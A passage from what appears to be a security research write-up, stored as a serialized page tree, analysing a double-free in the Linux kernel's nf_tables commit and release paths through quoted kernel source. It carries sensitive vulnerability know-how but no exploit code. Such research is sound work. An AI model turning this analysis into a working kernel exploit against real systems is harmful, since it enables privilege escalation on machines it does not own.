double-free. But there is another condition: in the commit path, if a ",{"type":23,"tag":71,"props":54107,"children":54109},{"className":54108},[],[54110],{"type":29,"value":52792},{"type":29,"value":54112},"'s ",{"type":23,"tag":71,"props":54114,"children":54116},{"className":54115},[],[54117],{"type":29,"value":54118},"->commit()",{"type":29,"value":54120}," method is executed before its ",{"type":23,"tag":71,"props":54122,"children":54124},{"className":54123},[],[54125],{"type":29,"value":54126},"->destroy()",{"type":29,"value":54128}," method, then the ",{"type":23,"tag":71,"props":54130,"children":54132},{"className":54131},[],[54133],{"type":29,"value":53897},{"type":29,"value":54135}," flag will be unset, and we won't be able to trigger the double-free.",{"type":23,"tag":32,"props":54137,"children":54138},{},[54139],{"type":29,"value":54140},"Let's once again refer to the code and see how these methods are called.",{"type":23,"tag":220,"props":54142,"children":54144},{"className":18839,"code":54143,"language":2148,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n  case NFT_MSG_DELSET:\n  case NFT_MSG_DESTROYSET: // [1]\n   nft_trans_set(trans)->dead = 1; // [2]\n   list_del_rcu(&nft_trans_set(trans)->list);\n   nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n          trans->msg_type, GFP_KERNEL);\n   break;\n  case NFT_MSG_NEWSETELEM: // [3]\n[...]\n   if (te->set->ops->commit &&\n       list_empty(&te->set->pending_update)) {\n    list_add_tail(&te->set->pending_update,\n           &set_update_list);\n   }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[54145],{"type":23,"tag":71,"props":54146,"children":54147},{"__ignoreMap":7},[54148,54210,54217,54224,54232,54245,54280,54314,54356,54378,54390,54403,54410,54458,54499,54539,54552,54559,54566,54573,54580,54605,54612,54625,54632,54648],{"type":23,"tag":230,"props":54149,"children":54150},{"class":232,"line":233},[54151,54155,54159,54164,54168,54172,54176,54180,54184,54188,54192,54197,54201,54206],{"type":23,"tag":230,"props":54152,"children":54153},{"style":256},[54154],{"type":29,"value":52817},{"type":23,"tag":230,"props":54156,"children":54157},{"style":256},[54158],{"type":29,"value":52946},{"type":23,"tag":230,"props":54160,"children":54161},{"style":294},[54162],{"type":29,"value":54163}," nf_tables_commit",{"type":23,"tag":230,"props":54165,"children":54166},{"style":274},[54167],{"type":29,"value":302},{"type":23,"tag":230,"props":54169,"children":54170},{"style":256},[54171],{"type":29,"value":11733},{"type":23,"tag":230,"props":54173,"children":54174},{"style":274},[54175],{"type":29,"value":53775},{"type":23,"tag":230,"props":54177,"children":54178},{"style":268},[54179],{"type":29,"value":6909},{"type":23,"tag":230,"props":54181,"children":54182},{"style":262},[54183],{"type":29,"value":53784},{"type":23,"tag":230,"props":54185,"children":54186},{"style":274},[54187],{"type":29,"value":684},{"type":23,"tag":230,"props":54189,"children":54190},{"style":256},[54191],{"type":29,"value":11733},{"type":23,"tag":230,"props":54193,"children":54194},{"style":274},[54195],{"type":29,"value":54196}," sk_buff ",{"type":23,"tag":230,"props":54198,"children":54199},{"style":268},[54200],{"type":29,"value":6909},{"type":23,"tag":230,"props":54202,"children":54203},{"style":262},[54204],{"type":29,"value":54205},"skb",{"type":23,"tag":230,"props":54207,"children":54208},{"style":274},[54209],{"type":29,"value":4516},{"type":23,"tag":230,"props":54211,"children":54212},{"class":232,"line":243},[54213],{"type":23,"tag":230,"props":54214,"children":54215},{"style":274},[54216],{"type":29,"value":13211},{"type":23,"tag":230,"props":54218,"children":54219},{"class":232,"line":252},[54220],{"type":23,"tag":230,"props":54221,"children":54222},{"style":274},[54223],{"type":29,"value":12649},{"type":23,"tag":230,"props":54225,"children":54226},{"class":232,"line":280},[54227],{"type":23,"tag":230,"props":54228,"children":54229},{"style":274},[54230],{"type":29,"value":54231},"  case NFT_MSG_DELSET:\n",{"type":23,"tag":230,"props":54233,"children":54234},{"class":232,"line":334},[54235,54240],{"type":23,"tag":230,"props":54236,"children":54237},{"style":274},[54238],{"type":29,"value":54239},"  case NFT_MSG_DESTROYSET:",{"type":23,"tag":230,"props":54241,"children":54242},{"style":237},[54243],{"type":29,"value":54244}," // [1]\n",{"type":23,"tag":230,"props":54246,"children":54247},{"class":232,"line":371},[54248,54253,54258,54263,54267,54271,54275],{"type":23,"tag":230,"props":54249,"children":54250},{"style":294},[54251],{"type":29,"value":54252},"   nft_trans_set",{"type":23,"tag":230,"props":54254,"children":54255},{"style":274},[54256],{"type":29,"value":54257},"(trans)->",{"type":23,"tag":230,"props":54259,"children":54260},{"style":262},[54261],{"type":29,"value":54262},"dead",{"type":23,"tag":230,"props":54264,"children":54265},{"style":268},[54266],{"type":29,"value":271},{"type":23,"tag":230,"props":54268,"children":54269},{"style":5149},[54270],{"type":29,"value":6861},{"type":23,"tag":230,"props":54272,"children":54273},{"style":274},[54274],{"type":29,"value":50846},{"type":23,"tag":230,"props":54276,"children":54277},{"style":237},[54278],{"type":29,"value":54279}," // [2]\n",{"type":23,"tag":230,"props":54281,"children":54282},{"class":232,"line":391},[54283,54288,54292,54296,54301,54305,54310],{"type":23,"tag":230,"props":54284,"children":54285},{"style":294},[54286],{"type":29,"value":54287},"   list_del_rcu",{"type":23,"tag":230,"props":54289,"children":54290},{"style":274},[54291],{"type":29,"value":302},{"type":23,"tag":230,"props":54293,"children":54294},{"style":268},[54295],{"type":29,"value":5448},{"type":23,"tag":230,"props":54297,"children":54298},{"style":294},[54299],{"type":29,"value":54300},"nft_trans_set",{"type":23,"tag":230,"props":54302,"children":54303},{"style":274},[54304],{"type":29,"value":54257},{"type":23,"tag":230,"props":54306,"children":54307},{"style":262},[54308],{"type":29,"value":54309},"list",{"type":23,"tag":230,"props":54311,"children":54312},{"style":274},[54313],{"type":29,"value":753},{"type":23,"tag":230,"props":54315,"children":54316},{"class":232,"line":400},[54317,54322,54326,54330,54335,54339,54343,54347,54351],{"type":23,"tag":230,"props":54318,"children":54319},{"style":294},[54320],{"type":29,"value":54321},"   nf_tables_set_notify",{"type":23,"tag":230,"props":54323,"children":54324},{"style":274},[54325],{"type":29,"value":302},{"type":23,"tag":230,"props":54327,"children":54328},{"style":268},[54329],{"type":29,"value":5448},{"type":23,"tag":230,"props":54331,"children":54332},{"style":262},[54333],{"type":29,"value":54334},"trans",{"type":23,"tag":230,"props":54336,"children":54337},{"style":274},[54338],{"type":29,"value":16084},{"type":23,"tag":230,"props":54340,"children":54341},{"style":262},[54342],{"type":29,"value":22595},{"type":23,"tag":230,"props":54344,"children":54345},{"style":274},[54346],{"type":29,"value":684},{"type":23,"tag":230,"props":54348,"children":54349},{"style":294},[54350],{"type":29,"value":54300},{"type":23,"tag":230,"props":54352,"children":54353},{"style":274},[54354],{"type":29,"value":54355},"(trans),\n",{"type":23,"tag":230,"props":54357,"children":54358},{"class":232,"line":444},[54359,54364,54368,54373],{"type":23,"tag":230,"props":54360,"children":54361},{"style":262},[54362],{"type":29,"value":54363},"          trans",{"type":23,"tag":230,"props":54365,"children":54366},{"style":274},[54367],{"type":29,"value":16084},{"type":23,"tag":230,"props":54369,"children":54370},{"style":262},[54371],{"type":29,"value":54372},"msg_type",{"type":23,"tag":230,"props":54374,"children":54375},{"style":274},[54376],{"type":29,"value":54377},", GFP_KERNEL);\n",{"type":23,"tag":230,"props":54379,"children":54380},{"class":232,"line":453},[54381,54386],{"type":23,"tag":230,"props":54382,"children":54383},{"style":866},[54384],{"type":29,"value":54385},"   break",{"type":23,"tag":230,"props":54387,"children":54388},{"style":274},[54389],{"type":29,"value":511},{"type":23,"tag":230,"props":54391,"children":54392},{"class":232,"line":462},[54393,54398],{"type":23,"tag":230,"props":54394,"children":54395},{"style":274},[54396],{"type":29,"value":54397},"  case NFT_MSG_NEWSETELEM:",{"type":23,"tag":230,"props":54399,"children":54400},{"style":237},[54401],{"type":29,"value":54402}," // [3]\n",{"type":23,"tag":230,"props":54404,"children":54405},{"class":232,"line":471},[54406],{"type":23,"tag":230,"props":54407,"children":54408},{"style":274},[54409],{"type":29,"value":12649},{"type":23,"tag":230,"props":54411,"children":54412},{"class":232,"line":500},[54413,54418,54422,54427,54431,54435,54439,54444,54448,54453],{"type":23,"tag":230,"props":54414,"children":54415},{"style":866},[54416],{"type":29,"value":54417},"   if",{"type":23,"tag":230,"props":54419,"children":54420},{"style":274},[54421],{"type":29,"value":664},{"type":23,"tag":230,"props":54423,"children":54424},{"style":262},[54425],{"type":29,"value":54426},"te",{"type":23,"tag":230,"props":54428,"children":54429},{"style":274},[54430],{"type":29,"value":16084},{"type":23,"tag":230,"props":54432,"children":54433},{"style":262},[54434],{"type":29,"value":52792},{"type":23,"tag":230,"props":54436,"children":54437},{"style":274},[54438],{"type":29,"value":16084},{"type":23,"tag":230,"props":54440,"children":54441},{"style":262},[54442],{"type":29,"value":54443},"ops",{"type":23,"tag":230,"props":54445,"children":54446},{"style":274},[54447],{"type":29,"value":16084},{"type":23,"tag":230,"props":54449,"children":54450},{"style":262},[54451],{"type":29,"value":54452},"commit",{"type":23,"tag":230,"props":54454,"children":54455},{"style":268},[54456],{"type":29,"value":54457}," &&\n",{"type":23,"tag":230,"props":54459,"children":54460},{"class":232,"line":514},[54461,54466,54470,54474,54478,54482,54486,54490,54495],{"type":23,"tag":230,"props":54462,"children":54463},{"style":294},[54464],{"type":29,"value":54465},"       list_empty",{"type":23,"tag":230,"props":54467,"children":54468},{"style":274},[54469],{"type":29,"value":302},{"type":23,"tag":230,"props":54471,"children":54472},{"style":268},[54473],{"type":29,"value":5448},{"type":23,"tag":230,"props":54475,"children":54476},{"style":262},[54477],{"type":29,"value":54426},{"type":23,"tag":230,"props":54479,"children":54480},{"style":274},[54481],{"type":29,"value":16084},{"type":23,"tag":230,"props":54483,"children":54484},{"style":262},[54485],{"type":29,"value":52792},{"type":23,"tag":230,"props":54487,"children":54488},{"style":274},[54489],{"type":29,"value":16084},{"type":23,"tag":230,"props":54491,"children":54492},{"style":262},[54493],{"type":29,"value":54494},"pending_update",{"type":23,"tag":230,"props":54496,"children":54497},{"style":274},[54498],{"type":29,"value":37480},{"type":23,"tag":230,"props":54500,"children":54501},{"class":232,"line":897},[54502,54507,54511,54515,54519,54523,54527,54531,54535],{"type":23,"tag":230,"props":54503,"children":54504},{"style":294},[54505],{"type":29,"value":54506},"    list_add_tail",{"type":23,"tag":230,"props":54508,"children":54509},{"style":274},[54510],{"type":29,"value":302},{"type":23,"tag":230,"props":54512,"children":54513},{"style":268},[54514],{"type":29,"value":5448},{"type":23,"tag":230,"props":54516,"children":54517},{"style":262},[54518],{"type":29,"value":54426},{"type":23,"tag":230,"props":54520,"children":54521},{"style":274},[54522],{"type":29,"value":16084},{"type":23,"tag":230,"props":54524,"children":54525},{"style":262},[54526],{"type":29,"value":52792},{"type":23,"tag":230,"props":54528,"children":54529},{"style":274},[54530],{"type":29,"value":16084},{"type":23,"tag":230,"props":54532,"children":54533},{"style":262},[54534],{"type":29,"value":54494},{"type":23,"tag":230,"props":54536,"children":54537},{"style":274},[54538],{"type":29,"value":388},{"type":23,"tag":230,"props":54540,"children":54541},{"class":232,"line":960},[54542,54547],{"type":23,"tag":230,"props":54543,"children":54544},{"style":268},[54545],{"type":29,"value":54546},"           &",{"type":23,"tag":230,"props":54548,"children":54549},{"style":274},[54550],{"type":29,"value":54551},"set_update_list);\n",{"type":23,"tag":230,"props":54553,"children":54554},{"class":232,"line":969},[54555],{"type":23,"tag":230,"props":54556,"children":54557},{"style":274},[54558],{"type":29,"value":37036},{"type":23,"tag":230,"props":54560,"children":54561},{"class":232,"line":4526},[54562],{"type":23,"tag":230,"props":54563,"children":54564},{"style":274},[54565],{"type":29,"value":12649},{"type":23,"tag":230,"props":54567,"children":54568},{"class":232,"line":4534},[54569],{"type":23,"tag":230,"props":54570,"children":54571},{"style":274},[54572],{"type":29,"value":11927},{"type":23,"tag":230,"props":54574,"children":54575},{"class":232,"line":4542},[54576],{"type":23,"tag":230,"props":54577,"children":54578},{"emptyLinePlaceholder":18},[54579],{"type":29,"value":459},{"type":23,"tag":230,"props":54581,"children":54582},{"class":232,"line":4559},[54583,54588,54592,54596,54601],{"type":23,"tag":230,"props":54584,"children":54585},{"style":294},[54586],{"type":29,"value":54587}," nft_set_commit_update",{"type":23,"tag":230,"props":54589,"children":54590},{"style":274},[54591],{"type":29,"value":302},{"type":23,"tag":230,"props":54593,"children":54594},{"style":268},[54595],{"type":29,"value":5448},{"type":23,"tag":230,"props":54597,"children":54598},{"style":262},[54599],{"type":29,"value":54600},"set_update_list",{"type":23,"tag":230,"props":54602,"children":54603},{"style":274},[54604],{"type":29,"value":753},{"type":23,"tag":230,"props":54606,"children":54607},{"class":232,"line":4587},[54608],{"type":23,"tag":230,"props":54609,"children":54610},{"style":274},[54611],{"type":29,"value":12649},{"type":23,"tag":230,"props":54613,"children":54614},{"class":232,"line":4595},[54615,54620],{"type":23,"tag":230,"props":54616,"children":54617},{"style":294},[54618],{"type":29,"value":54619}," nf_tables_commit_release",{"type":23,"tag":230,"props":54621,"children":54622},{"style":274},[54623],{"type":29,"value":54624},"(net);\n",{"type":23,"tag":230,"props":54626,"children":54627},{"class":232,"line":4619},[54628],{"type":23,"tag":230,"props":54629,"children":54630},{"emptyLinePlaceholder":18},[54631],{"type":29,"value":459},{"type":23,"tag":230,"props":54633,"children":54634},{"class":232,"line":4627},[54635,54640,54644],{"type":23,"tag":230,"props":54636,"children":54637},{"style":866},[54638],{"type":29,"value":54639}," return",{"type":23,"tag":230,"props":54641,"children":54642},{"style":5149},[54643],{"type":29,"value":5386},{"type":23,"tag":230,"props":54645,"children":54646},{"style":274},[54647],{"type":29,"value":511},{"type":23,"tag":230,"props":54649,"children":54650},{"class":232,"line":4659},[54651],{"type":23,"tag":230,"props":54652,"children":54653},{"style":274},[54654],{"type":29,"value":975},{"type":23,"tag":32,"props":54656,"children":54657},{},[54658,54659,54665,54667,54672],{"type":29,"value":980},{"type":23,"tag":71,"props":54660,"children":54662},{"className":54661},[],[54663],{"type":29,"value":54664},"nft_set_commit_update()",{"type":29,"value":54666}," function in the code above will call the ",{"type":23,"tag":71,"props":54668,"children":54670},{"className":54669},[],[54671],{"type":29,"value":54118},{"type":29,"value":54673}," method for any objects that were marked as pending an update.",{"type":23,"tag":220,"props":54675,"children":54677},{"className":18839,"code":54676,"language":2148,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n  list_del_init(&set->pending_update);\n\n  if (!set->ops->commit || set->dead) // [4]\n   continue;\n\n  set->ops->commit(set); // [5]\n }\n}\n",[54678],{"type":23,"tag":71,"props":54679,"children":54680},{"__ignoreMap":7},[54681,54721,54728,54757,54764,54777,54809,54816,54877,54888,54895,54929,54936],{"type":23,"tag":230,"props":54682,"children":54683},{"class":232,"line":233},[54684,54688,54692,54696,54700,54704,54709,54713,54717],{"type":23,"tag":230,"props":54685,"children":54686},{"style":256},[54687],{"type":29,"value":52817},{"type":23,"tag":230,"props":54689,"children":54690},{"style":256},[54691],{"type":29,"value":52822},{"type":23,"tag":230,"props":54693,"children":54694},{"style":294},[54695],{"type":29,"value":54587},{"type":23,"tag":230,"props":54697,"children":54698},{"style":274},[54699],{"type":29,"value":302},{"type":23,"tag":230,"props":54701,"children":54702},{"style":256},[54703],{"type":29,"value":11733},{"type":23,"tag":230,"props":54705,"children":54706},{"style":274},[54707],{"type":29,"value":54708}," list_head ",{"type":23,"tag":230,"props":54710,"children":54711},{"style":268},[54712],{"type":29,"value":6909},{"type":23,"tag":230,"props":54714,"children":54715},{"style":262},[54716],{"type":29,"value":54600},{"type":23,"tag":230,"props":54718,"children":54719},{"style":274},[54720],{"type":29,"value":4516},{"type":23,"tag":230,"props":54722,"children":54723},{"class":232,"line":243},[54724],{"type":23,"tag":230,"props":54725,"children":54726},{"style":274},[54727],{"type":29,"value":13211},{"type":23,"tag":230,"props":54729,"children":54730},{"class":232,"line":252},[54731,54735,54739,54743,54748,54752],{"type":23,"tag":230,"props":54732,"children":54733},{"style":256},[54734],{"type":29,"value":23465},{"type":23,"tag":230,"props":54736,"children":54737},{"style":274},[54738],{"type":29,"value":52872},{"type":23,"tag":230,"props":54740,"children":54741},{"style":268},[54742],{"type":29,"value":6909},{"type":23,"tag":230,"props":54744,"children":54745},{"style":274},[54746],{"type":29,"value":54747},"set, ",{"type":23,"tag":230,"props":54749,"children":54750},{"style":268},[54751],{"type":29,"value":6909},{"type":23,"tag":230,"props":54753,"children":54754},{"style":274},[54755],{"type":29,"value":54756},"next;\n",{"type":23,"tag":230,"props":54758,"children":54759},{"class":232,"line":280},[54760],{"type":23,"tag":230,"props":54761,"children":54762},{"emptyLinePlaceholder":18},[54763],{"type":29,"value":459},{"type":23,"tag":230,"props":54765,"children":54766},{"class":232,"line":334},[54767,54772],{"type":23,"tag":230,"props":54768,"children":54769},{"style":294},[54770],{"type":29,"value":54771}," list_for_each_entry_safe",{"type":23,"tag":230,"props":54773,"children":54774},{"style":274},[54775],{"type":29,"value":54776},"(set, next, set_update_list, pending_update) {\n",{"type":23,"tag":230,"props":54778,"children":54779},{"class":232,"line":371},[54780,54785,54789,54793,54797,54801,54805],{"type":23,"tag":230,"props":54781,"children":54782},{"style":294},[54783],{"type":29,"value":54784},"  list_del_init",{"type":23,"tag":230,"props":54786,"children":54787},{"style":274},[54788],{"type":29,"value":302},{"type":23,"tag":230,"props":54790,"children":54791},{"style":268},[54792],{"type":29,"value":5448},{"type":23,"tag":230,"props":54794,"children":54795},{"style":262},[54796],{"type":29,"value":52792},{"type":23,"tag":230,"props":54798,"children":54799},{"style":274},[54800],{"type":29,"value":16084},{"type":23,"tag":230,"props":54802,"children":54803},{"style":262},[54804],{"type":29,"value":54494},{"type":23,"tag":230,"props":54806,"children":54807},{"style":274},[54808],{"type":29,"value":753},{"type":23,"tag":230,"props":54810,"children":54811},{"class":232,"line":391},[54812],{"type":23,"tag":230,"props":54813,"children":54814},{"emptyLinePlaceholder":18},[54815],{"type":29,"value":459},{"type":23,"tag":230,"props":54817,"children":54818},{"class":232,"line":400},[54819,54823,54827,54831,54835,54839,54843,54847,54851,54855,54860,54864,54868,54872],{"type":23,"tag":230,"props":54820,"children":54821},{"style":866},[54822],{"type":29,"value":33698},{"type":23,"tag":230,"props":54824,"children":54825},{"style":274},[54826],{"type":29,"value":664},{"type":23,"tag":230,"props":54828,"children":54829},{"style":268},[54830],{"type":29,"value":22936},{"type":23,"tag":230,"props":54832,"children":54833},{"style":262},[54834],{"type":29,"value":52792},{"type":23,"tag":230,"props":54836,"children":54837},{"style":274},[54838],{"type":29,"value":16084},{"type":23,"tag":230,"props":54840,"children":54841},{"style":262},[54842],{"type":29,"value":54443},{"type":23,"tag":230,"props":54844,"children":54845},{"style":274},[54846],{"type":29,"value":16084},{"type":23,"tag":230,"props":54848,"children":54849},{"style":262},[54850],{"type":29,"value":54452},{"type":23,"tag":230,"props":54852,"children":54853},{"style":268},[54854],{"type":29,"value":4014},{"type":23,"tag":230,"props":54856,"children":54857},{"style":262},[54858],{"type":29,"value":54859}," set",{"type":23,"tag":230,"props":54861,"children":54862},{"style":274},[54863],{"type":29,"value":16084},{"type":23,"tag":230,"props":54865,"children":54866},{"style":262},[54867],{"type":29,"value":54262},{"type":23,"tag":230,"props":54869,"children":54870},{"style":274},[54871],{"type":29,"value":5467},{"type":23,"tag":230,"props":54873,"children":54874},{"style":237},[54875],{"type":29,"value":54876}," // [4]\n",{"type":23,"tag":230,"props":54878,"children":54879},{"class":232,"line":444},[54880,54884],{"type":23,"tag":230,"props":54881,"children":54882},{"style":866},[54883],{"type":29,"value":53264},{"type":23,"tag":230,"props":54885,"children":54886},{"style":274},[54887],{"type":29,"value":511},{"type":23,"tag":230,"props":54889,"children":54890},{"class":232,"line":453},[54891],{"type":23,"tag":230,"props":54892,"children":54893},{"emptyLinePlaceholder":18},[54894],{"type":29,"value":459},{"type":23,"tag":230,"props":54896,"children":54897},{"class":232,"line":462},[54898,54903,54907,54911,54915,54919,54924],{"type":23,"tag":230,"props":54899,"children":54900},{"style":262},[54901],{"type":29,"value":54902},"  set",{"type":23,"tag":230,"props":54904,"children":54905},{"style":274},[54906],{"type":29,"value":16084},{"type":23,"tag":230,"props":54908,"children":54909},{"style":262},[54910],{"type":29,"value":54443},{"type":23,"tag":230,"props":54912,"children":54913},{"style":274},[54914],{"type":29,"value":16084},{"type":23,"tag":230,"props":54916,"children":54917},{"style":294},[54918],{"type":29,"value":54452},{"type":23,"tag":230,"props":54920,"children":54921},{"style":274},[54922],{"type":29,"value":54923},"(set);",{"type":23,"tag":230,"props":54925,"children":54926},{"style":237},[54927],{"type":29,"value":54928}," // [5]\n",{"type":23,"tag":230,"props":54930,"children":54931},{"class":232,"line":471},[54932],{"type":23,"tag":230,"props":54933,"children":54934},{"style":274},[54935],{"type":29,"value":11927},{"type":23,"tag":230,"props":54937,"children":54938},{"class":232,"line":500},[54939],{"type":23,"tag":230,"props":54940,"children":54941},{"style":274},[54942],{"type":29,"value":975},{"type":23,"tag":32,"props":54944,"children":54945},{},[54946,54948,54954,54956,54961,54962,54967],{"type":29,"value":54947},"Later on, the ",{"type":23,"tag":71,"props":54949,"children":54951},{"className":54950},[],[54952],{"type":29,"value":54953},"nf_tables_commit_release()",{"type":29,"value":54955}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":23,"tag":71,"props":54957,"children":54959},{"className":54958},[],[54960],{"type":29,"value":52792},{"type":29,"value":54112},{"type":23,"tag":71,"props":54963,"children":54965},{"className":54964},[],[54966],{"type":29,"value":54126},{"type":29,"value":54968}," method.",{"type":23,"tag":220,"props":54970,"children":54972},{"className":18839,"code":54971,"language":2148,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n  nft_trans_list_del(trans);\n  nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n  nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[54973],{"type":23,"tag":71,"props":54974,"children":54975},{"__ignoreMap":7},[54976,55015,55022,55029,55050,55057,55064,55071,55112,55119,55126,55147,55160,55172,55179,55186,55193,55234,55241,55269,55276,55289,55301,55342,55349,55356,55363,55421,55428,55435,55464,55471],{"type":23,"tag":230,"props":54977,"children":54978},{"class":232,"line":233},[54979,54983,54987,54991,54995,54999,55003,55007,55011],{"type":23,"tag":230,"props":54980,"children":54981},{"style":256},[54982],{"type":29,"value":52817},{"type":23,"tag":230,"props":54984,"children":54985},{"style":256},[54986],{"type":29,"value":52822},{"type":23,"tag":230,"props":54988,"children":54989},{"style":294},[54990],{"type":29,"value":54619},{"type":23,"tag":230,"props":54992,"children":54993},{"style":274},[54994],{"type":29,"value":302},{"type":23,"tag":230,"props":54996,"children":54997},{"style":256},[54998],{"type":29,"value":11733},{"type":23,"tag":230,"props":55000,"children":55001},{"style":274},[55002],{"type":29,"value":53775},{"type":23,"tag":230,"props":55004,"children":55005},{"style":268},[55006],{"type":29,"value":6909},{"type":23,"tag":230,"props":55008,"children":55009},{"style":262},[55010],{"type":29,"value":53784},{"type":23,"tag":230,"props":55012,"children":55013},{"style":274},[55014],{"type":29,"value":4516},{"type":23,"tag":230,"props":55016,"children":55017},{"class":232,"line":243},[55018],{"type":23,"tag":230,"props":55019,"children":55020},{"style":274},[55021],{"type":29,"value":13211},{"type":23,"tag":230,"props":55023,"children":55024},{"class":232,"line":252},[55025],{"type":23,"tag":230,"props":55026,"children":55027},{"style":274},[55028],{"type":29,"value":12649},{"type":23,"tag":230,"props":55030,"children":55031},{"class":232,"line":280},[55032,55037,55041,55045],{"type":23,"tag":230,"props":55033,"children":55034},{"style":294},[55035],{"type":29,"value":55036}," schedule_work",{"type":23,"tag":230,"props":55038,"children":55039},{"style":274},[55040],{"type":29,"value":302},{"type":23,"tag":230,"props":55042,"children":55043},{"style":268},[55044],{"type":29,"value":5448},{"type":23,"tag":230,"props":55046,"children":55047},{"style":274},[55048],{"type":29,"value":55049},"trans_destroy_work);\n",{"type":23,"tag":230,"props":55051,"children":55052},{"class":232,"line":334},[55053],{"type":23,"tag":230,"props":55054,"children":55055},{"style":274},[55056],{"type":29,"value":12649},{"type":23,"tag":230,"props":55058,"children":55059},{"class":232,"line":371},[55060],{"type":23,"tag":230,"props":55061,"children":55062},{"style":274},[55063],{"type":29,"value":975},{"type":23,"tag":230,"props":55065,"children":55066},{"class":232,"line":391},[55067],{"type":23,"tag":230,"props":55068,"children":55069},{"style":274},[55070],{"type":29,"value":12649},{"type":23,"tag":230,"props":55072,"children":55073},{"class":232,"line":400},[55074,55078,55082,55087,55091,55095,55100,55104,55108],{"type":23,"tag":230,"props":55075,"children":55076},{"style":256},[55077],{"type":29,"value":52817},{"type":23,"tag":230,"props":55079,"children":55080},{"style":256},[55081],{"type":29,"value":52822},{"type":23,"tag":230,"props":55083,"children":55084},{"style":294},[55085],{"type":29,"value":55086}," nf_tables_trans_destroy_work",{"type":23,"tag":230,"props":55088,"children":55089},{"style":274},[55090],{"type":29,"value":302},{"type":23,"tag":230,"props":55092,"children":55093},{"style":256},[55094],{"type":29,"value":11733},{"type":23,"tag":230,"props":55096,"children":55097},{"style":274},[55098],{"type":29,"value":55099}," work_struct ",{"type":23,"tag":230,"props":55101,"children":55102},{"style":268},[55103],{"type":29,"value":6909},{"type":23,"tag":230,"props":55105,"children":55106},{"style":262},[55107],{"type":29,"value":51344},{"type":23,"tag":230,"props":55109,"children":55110},{"style":274},[55111],{"type":29,"value":4516},{"type":23,"tag":230,"props":55113,"children":55114},{"class":232,"line":444},[55115],{"type":23,"tag":230,"props":55116,"children":55117},{"style":274},[55118],{"type":29,"value":13211},{"type":23,"tag":230,"props":55120,"children":55121},{"class":232,"line":453},[55122],{"type":23,"tag":230,"props":55123,"children":55124},{"style":274},[55125],{"type":29,"value":12649},{"type":23,"tag":230,"props":55127,"children":55128},{"class":232,"line":462},[55129,55133,55138,55142],{"type":23,"tag":230,"props":55130,"children":55131},{"style":294},[55132],{"type":29,"value":54771},{"type":23,"tag":230,"props":55134,"children":55135},{"style":274},[55136],{"type":29,"value":55137},"(trans, next, ",{"type":23,"tag":230,"props":55139,"children":55140},{"style":268},[55141],{"type":29,"value":5448},{"type":23,"tag":230,"props":55143,"children":55144},{"style":274},[55145],{"type":29,"value":55146},"head, list) {\n",{"type":23,"tag":230,"props":55148,"children":55149},{"class":232,"line":471},[55150,55155],{"type":23,"tag":230,"props":55151,"children":55152},{"style":294},[55153],{"type":29,"value":55154},"  nft_trans_list_del",{"type":23,"tag":230,"props":55156,"children":55157},{"style":274},[55158],{"type":29,"value":55159},"(trans);\n",{"type":23,"tag":230,"props":55161,"children":55162},{"class":232,"line":500},[55163,55168],{"type":23,"tag":230,"props":55164,"children":55165},{"style":294},[55166],{"type":29,"value":55167},"  nft_commit_release",{"type":23,"tag":230,"props":55169,"children":55170},{"style":274},[55171],{"type":29,"value":55159},{"type":23,"tag":230,"props":55173,"children":55174},{"class":232,"line":514},[55175],{"type":23,"tag":230,"props":55176,"children":55177},{"style":274},[55178],{"type":29,"value":11927},{"type":23,"tag":230,"props":55180,"children":55181},{"class":232,"line":897},[55182],{"type":23,"tag":230,"props":55183,"children":55184},{"style":274},[55185],{"type":29,"value":975},{"type":23,"tag":230,"props":55187,"children":55188},{"class":232,"line":960},[55189],{"type":23,"tag":230,"props":55190,"children":55191},{"style":274},[55192],{"type":29,"value":12649},{"type":23,"tag":230,"props":55194,"children":55195},{"class":232,"line":969},[55196,55200,55204,55209,55213,55217,55222,55226,55230],{"type":23,"tag":230,"props":55197,"children":55198},{"style":256},[55199],{"type":29,"value":52817},{"type":23,"tag":230,"props":55201,"children":55202},{"style":256},[55203],{"type":29,"value":52822},{"type":23,"tag":230,"props":55205,"children":55206},{"style":294},[55207],{"type":29,"value":55208}," nft_commit_release",{"type":23,"tag":230,"props":55210,"children":55211},{"style":274},[55212],{"type":29,"value":302},{"type":23,"tag":230,"props":55214,"children":55215},{"style":256},[55216],{"type":29,"value":11733},{"type":23,"tag":230,"props":55218,"children":55219},{"style":274},[55220],{"type":29,"value":55221}," nft_trans ",{"type":23,"tag":230,"props":55223,"children":55224},{"style":268},[55225],{"type":29,"value":6909},{"type":23,"tag":230,"props":55227,"children":55228},{"style":262},[55229],{"type":29,"value":54334},{"type":23,"tag":230,"props":55231,"children":55232},{"style":274},[55233],{"type":29,"value":4516},{"type":23,"tag":230,"props":55235,"children":55236},{"class":232,"line":4526},[55237],{"type":23,"tag":230,"props":55238,"children":55239},{"style":274},[55240],{"type":29,"value":13211},{"type":23,"tag":230,"props":55242,"children":55243},{"class":232,"line":4534},[55244,55249,55253,55257,55261,55265],{"type":23,"tag":230,"props":55245,"children":55246},{"style":866},[55247],{"type":29,"value":55248}," 